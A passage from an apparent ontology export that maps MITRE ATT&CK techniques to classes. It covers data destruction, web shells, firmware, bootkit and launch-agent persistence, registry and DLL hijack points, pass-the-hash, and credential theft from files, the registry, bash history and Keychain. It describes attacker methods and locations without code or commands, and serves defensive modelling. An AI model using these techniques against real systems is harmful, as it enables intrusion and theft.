definition: Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
subclass of: ImpactTechnique

Web Shell
type: Class
type: NamedIndividual
adds: WebScriptFile
attack-id: T1505.003
definition: Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)
modifies: WebServer
produces: Process
subclass of: Restriction
  on property: produces
  some values from: Process
subclass of: Restriction
  on property: modifies
  some values from: WebServer
subclass of: Restriction
  on property: adds
  some values from: WebScriptFile
subclass of: T1505

Software Discovery
type: Class
attack-id: T1518
definition: Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
subclass of: DiscoveryTechnique

Security Software Discovery
type: Class
type: NamedIndividual
attack-id: T1518.001
definition: Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
may-access: FileSystemMetadata
may-access: KernelProcessTable
may-access: SystemConfigurationDatabaseRecord
may-access: SystemFirewallConfiguration
may-invoke: GetRunningProcesses
subclass of: Restriction
  on property: may-access
  some values from: FileSystemMetadata
subclass of: Restriction
  on property: may-access
  some values from: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: may-invoke
  some values from: GetRunningProcesses
subclass of: Restriction
  on property: may-access
  some values from: KernelProcessTable
subclass of: Restriction
  on property: may-access
  some values from: SystemFirewallConfiguration
subclass of: Software Discovery

System Firmware
type: Class
type: NamedIndividual
attack-id: T1542.001
definition: Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)
modifies: SystemFirmware
subclass of: Restriction
  on property: modifies
  some values from: SystemFirmware
subclass of: T1542

Component Firmware
type: Class
type: NamedIndividual
attack-id: T1542.002
definition: Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.
modifies: Firmware
subclass of: Restriction
  on property: modifies
  some values from: Firmware
subclass of: T1542

Bootkit
type: Class
type: NamedIndividual
attack-id: T1542.003
definition: Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
may-modify: BootLoader
may-modify: BootSector
may-modify: VolumeBootRecord
subclass of: Restriction
  on property: may-modify
  some values from: VolumeBootRecord
subclass of: Restriction
  on property: may-modify
  some values from: BootLoader
subclass of: Restriction
  on property: may-modify
  some values from: BootSector
subclass of: T1542

Launch Agent
type: Class
type: NamedIndividual
attack-id: T1543.001
creates: PropertyListFile
definition: Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
subclass of: Restriction
  on property: creates
  some values from: PropertyListFile
subclass of: T1543

Systemd Service
type: Class
type: NamedIndividual
attack-id: T1543.002
definition: Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
may-create: OperatingSystemConfigurationFile
may-modify: OperatingSystemConfigurationFile
subclass of: Restriction
  on property: may-create
  some values from: OperatingSystemConfigurationFile
subclass of: Restriction
  on property: may-modify
  some values from: OperatingSystemConfigurationFile
subclass of: T1543

Launch Daemon
type: Class
type: NamedIndividual
attack-id: T1543.004
definition: Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)
modifies: PropertyListFile
subclass of: Restriction
  on property: modifies
  some values from: PropertyListFile
subclass of: T1543

Change Default File Association
type: Class
type: NamedIndividual
attack-id: T1546.001
definition: Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1546

Screensaver
type: Class
type: NamedIndividual
attack-id: T1546.002
creates: ExecutableFile
definition: Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: creates
  some values from: ExecutableFile
subclass of: T1546

Windows Management Instrumentation Event Subscription
type: Class
type: NamedIndividual
attack-id: T1546.003
definition: Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)
modifies: EventLog
produces: IntranetAdministrativeNetworkTraffic
subclass of: Restriction
  on property: modifies
  some values from: EventLog
subclass of: Restriction
  on property: produces
  some values from: IntranetAdministrativeNetworkTraffic
subclass of: T1546

Unix Shell Configuration Modification
type: Class
type: NamedIndividual
attack-id: T1546.004
definition: Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
modifies: UserInitConfigurationFile
subclass of: Restriction
  on property: modifies
  some values from: UserInitConfigurationFile
subclass of: T1546

Trap
type: Class
type: NamedIndividual
attack-id: T1546.005
definition: Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.
executes: ShellCommand
may-create: ExecutableScript
may-modify: ExecutableScript
modifies: EventLog
subclass of: Restriction
  on property: may-modify
  some values from: ExecutableScript
subclass of: Restriction
  on property: modifies
  some values from: EventLog
subclass of: Restriction
  on property: executes
  some values from: ShellCommand
subclass of: Restriction
  on property: may-create
  some values from: ExecutableScript
subclass of: T1546

LC_LOAD_DYLIB Addition
type: Class
type: NamedIndividual
attack-id: T1546.006
definition: Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.
modifies: ExecutableBinary
subclass of: Restriction
  on property: modifies
  some values from: ExecutableBinary
subclass of: T1546

Netsh Helper DLL
type: Class
type: NamedIndividual
attack-id: T1546.007
definition: Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.
modifies: SystemConfigurationDatabaseRecord
produces: Process
subclass of: Restriction
  on property: produces
  some values from: Process
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1546

Accessibility Features
type: Class
type: NamedIndividual
attack-id: T1546.008
definition: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
may-create: IntranetAdministrativeNetworkTraffic
may-modify: ExecutableBinary
may-modify: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: may-create
  some values from: IntranetAdministrativeNetworkTraffic
subclass of: Restriction
  on property: may-modify
  some values from: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: may-modify
  some values from: ExecutableBinary
subclass of: T1546

AppCert DLLs
type: Class
type: NamedIndividual
attack-id: T1546.009
definition: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)
invokes: CreateProcess
loads: SharedLibraryFile
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: loads
  some values from: SharedLibraryFile
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1546

AppInit DLLs
type: Class
type: NamedIndividual
attack-id: T1546.010
definition: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)
invokes: CreateProcess
loads: SharedLibraryFile
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: loads
  some values from: SharedLibraryFile
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1546

Application Shimming
type: Class
type: NamedIndividual
attack-id: T1546.011
creates: Shim
definition: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)
modifies: ShimDatabase
subclass of: Restriction
  on property: modifies
  some values from: ShimDatabase
subclass of: Restriction
  on property: creates
  some values from: Shim
subclass of: T1546

Image File Execution Options Injection
type: Class
type: NamedIndividual
attack-id: T1546.012
definition: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)
modifies: SystemConfigurationDatabase
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabase
subclass of: T1546

PowerShell Profile
type: Class
type: NamedIndividual
attack-id: T1546.013
definition: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.
modifies: PowerShellProfileScript
subclass of: Restriction
  on property: modifies
  some values from: PowerShellProfileScript
subclass of: T1546

Emond
type: Class
type: NamedIndividual
attack-id: T1546.014
definition: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.
may-create: PropertyListFile
may-modify: PropertyListFile
modifies: ConfigurationResource
subclass of: Restriction
  on property: modifies
  some values from: ConfigurationResource
subclass of: Restriction
  on property: may-modify
  some values from: PropertyListFile
subclass of: Restriction
  on property: may-create
  some values from: PropertyListFile
subclass of: T1546

Component Object Model Hijacking
type: Class
type: NamedIndividual
attack-id: T1546.015
definition: Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.
loads: ExecutableBinary
modifies: SystemConfigurationDatabase
subclass of: Restriction
  on property: loads
  some values from: ExecutableBinary
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabase
subclass of: T1546

Registry Run Keys / Startup Folder
type: Class
type: NamedIndividual
attack-id: T1547.001
definition: Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
may-modify: SystemConfigurationInitDatabaseRecord
may-modify: UserStartupScriptFile
subclass of: Restriction
  on property: may-modify
  some values from: SystemConfigurationInitDatabaseRecord
subclass of: Restriction
  on property: may-modify
  some values from: UserStartupScriptFile
subclass of: T1547

Authentication Package
type: Class
type: NamedIndividual
attack-id: T1547.002
definition: Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1547

Time Providers
type: Class
type: NamedIndividual
attack-id: T1547.003
definition: Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1547

Winlogon Helper DLL
type: Class
type: NamedIndividual
attack-id: T1547.004
definition: Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1547

Security Support Provider
type: Class
type: NamedIndividual
attack-id: T1547.005
definition: Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1547

Kernel Modules and Extensions
type: Class
type: NamedIndividual
attack-id: T1547.006
definition: Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)
modifies: KernelModule
subclass of: Restriction
  on property: modifies
  some values from: KernelModule
subclass of: T1547

Re-opened Applications
type: Class
type: NamedIndividual
attack-id: T1547.007
definition: Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.
modifies: ApplicationConfigurationFile
subclass of: Restriction
  on property: modifies
  some values from: ApplicationConfigurationFile
subclass of: T1547

LSASS Driver
type: Class
type: NamedIndividual
attack-id: T1547.008
definition: Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)
may-create: SharedLibraryFile
modifies: SystemServiceSoftware
subclass of: Restriction
  on property: modifies
  some values from: SystemServiceSoftware
subclass of: Restriction
  on property: may-create
  some values from: SharedLibraryFile
subclass of: T1547

Shortcut Modification
type: Class
type: NamedIndividual
attack-id: T1547.009
definition: Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.
may-modify: SymbolicLink
may-modify: UserStartupScriptFile
subclass of: Restriction
  on property: may-modify
  some values from: SymbolicLink
subclass of: Restriction
  on property: may-modify
  some values from: UserStartupScriptFile
subclass of: T1547

Port Monitors
type: Class
type: NamedIndividual
attack-id: T1547.010
definition: Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham)
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1547

Setuid and Setgid
type: Class
type: NamedIndividual
attack-id: T1548.001
definition: An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.
modifies: AccessControlConfiguration
subclass of: Restriction
  on property: modifies
  some values from: AccessControlConfiguration
subclass of: T1548

Bypass User Account Control
type: Class
type: NamedIndividual
attack-id: T1548.002
definition: Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)
executes: ExecutableFile
invokes: CreateProcess
may-modify: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: executes
  some values from: ExecutableFile
subclass of: Restriction
  on property: may-modify
  some values from: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: T1548

Elevated Execution with Prompt
type: Class
type: NamedIndividual
attack-id: T1548.004
creates: SystemConfigurationDatabase
definition: Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.
invokes: SystemCall
subclass of: Restriction
  on property: creates
  some values from: SystemConfigurationDatabase
subclass of: Restriction
  on property: invokes
  some values from: SystemCall
subclass of: T1548

Application Access Token
type: Class
type: NamedIndividual
attack-id: T1550.001
definition: Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.
may-produce: NetworkTraffic
uses: AccessToken
subclass of: Restriction
  on property: may-produce
  some values from: NetworkTraffic
subclass of: Restriction
  on property: uses
  some values from: AccessToken
subclass of: T1550

Pass the Hash
type: Class
type: NamedIndividual
attack-id: T1550.002
creates: Authentication
definition: Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.
subclass of: Restriction
  on property: creates
  some values from: Authentication
subclass of: T1550

Pass the Ticket
type: Class
type: NamedIndividual
attack-id: T1550.003
creates: Authentication
definition: Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
subclass of: Restriction
  on property: creates
  some values from: Authentication
subclass of: T1550

Web Session Cookie
type: Class
type: NamedIndividual
adds: SessionCookie
attack-id: T1550.004
definition: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)
produces: WebNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: WebNetworkTraffic
subclass of: Restriction
  on property: adds
  some values from: SessionCookie
subclass of: T1550

Credentials In Files
type: Class
type: NamedIndividual
accesses: File
attack-id: T1552.001
definition: Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
subclass of: Restriction
  on property: accesses
  some values from: File
subclass of: T1552

Credentials in Registry
type: Class
type: NamedIndividual
accesses: SystemConfigurationDatabase
attack-id: T1552.002
definition: Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
subclass of: Restriction
  on property: accesses
  some values from: SystemConfigurationDatabase
subclass of: T1552

Bash History
type: Class
type: NamedIndividual
accesses: Command History Log File
attack-id: T1552.003
definition: Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
subclass of: Restriction
  on property: accesses
  some values from: Command History Log File
subclass of: T1552

Private Keys
type: Class
type: NamedIndividual
accesses: PrivateKey
attack-id: T1552.004
definition: Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.
subclass of: Restriction
  on property: accesses
  some values from: PrivateKey
subclass of: T1552

Cloud Instance Metadata API
type: Class
type: NamedIndividual
accesses: Cloud Instance Metadata
attack-id: T1552.005
definition: Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
subclass of: Restriction
  on property: accesses
  some values from: Cloud Instance Metadata
subclass of: T1552

Gatekeeper Bypass
type: Class
type: NamedIndividual
attack-id: T1553.001
definition: Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )
modifies: FileSystemMetadata
subclass of: Restriction
  on property: modifies
  some values from: FileSystemMetadata
subclass of: T1553

Code Signing
type: Class
type: NamedIndividual
attack-id: T1553.002
definition: Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.
enables: TA0005
subclass of: Restriction
  on property: enables
  some values from: TA0005
subclass of: T1553

SIP and Trust Provider Hijacking
type: Class
type: NamedIndividual
attack-id: T1553.003
definition: Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1553

Install Root Certificate
type: Class
type: NamedIndividual
attack-id: T1553.004
definition: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
modifies: Certificate Trust Store
subclass of: Restriction
  on property: modifies
  some values from: Certificate Trust Store
subclass of: T1553

Compromise Host Software Binary
type: Class
type: NamedIndividual
attack-id: T1554
definition: Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.
modifies: Client Application
subclass of: Restriction
  on property: modifies
  some values from: Client Application
subclass of: PersistenceTechnique

Keychain
type: Class
type: NamedIndividual
accesses: MacOSKeychain
attack-id: T1555.001
definition: Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.
subclass of: Restriction
